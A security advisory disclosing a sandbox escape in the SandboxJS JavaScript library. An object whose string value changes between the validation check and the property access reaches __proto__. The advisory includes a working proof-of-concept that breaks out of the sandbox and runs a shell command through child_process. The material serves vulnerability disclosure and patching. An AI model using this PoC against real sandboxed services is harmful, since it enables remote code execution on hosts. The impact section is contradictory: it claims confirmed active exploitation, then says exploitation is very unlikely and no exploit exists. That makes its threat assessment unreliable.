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GHSA-7x3h-rm86-3342
No affected components available
Summary
A sandbox escape vulnerabilities due to a mismatch between the key on which the validation is performed and the key used for accessing properties.
Details
Even though the key used in property accesses (b in the code below) is annotated as string, this is never enforced:
https://github.com/nyariv/SandboxJS/blob/6103d7147c4666fe48cfda58a4d5f37005b43754/src/executor.ts#L304-L304
So, attackers can pass malicious objects that coerce to different string values when used, e.g., one for the time the key is sanitized using hasOwnProperty(key) and a different one for when the key is used for the actual property access.
PoC
const Sandbox = require('@nyariv/sandboxjs').default;
const code = `
let a = new Map;
a.x = 23;
let count = 0;
let nastyProp = {toString: () => {if (count<1){count++;return "x"} else return "__proto__"}}
let mapProt = a[nastyProp];
mapProt.has = isFinite;
console.log(
isFinite.constructor(
"return process.getBuiltinModule('child_process').execSync('ls -lah').toString()",
)(),
);`;
const scope = {};
const sandbox = new Sandbox();
const exec = sandbox.compile(code);
exec(scope).run();
Impact
Remote code execution, if attacker can execute code inside the sandbox.
The vulnerability can be exploited over the network without needing physical access. It is easy for an attacker to exploit this vulnerability. An attacker does not need any special privileges or access rights. No user interaction is needed for the attacker to exploit this vulnerability. The vulnerability can affect other systems as well, not just the initial system. There is a high impact on the confidentiality of the information. There is a high impact on the integrity of the data. There is a high impact on the availability of the system.
Active exploitation in the wild has been confirmed. Immediate patching or mitigation is required.
The exploit probability is very low. The vulnerability is unlikely to be exploited in the next 30 days.
We did not find any exploit available. Neither in GitHub repositories nor in the Exploit-Database.
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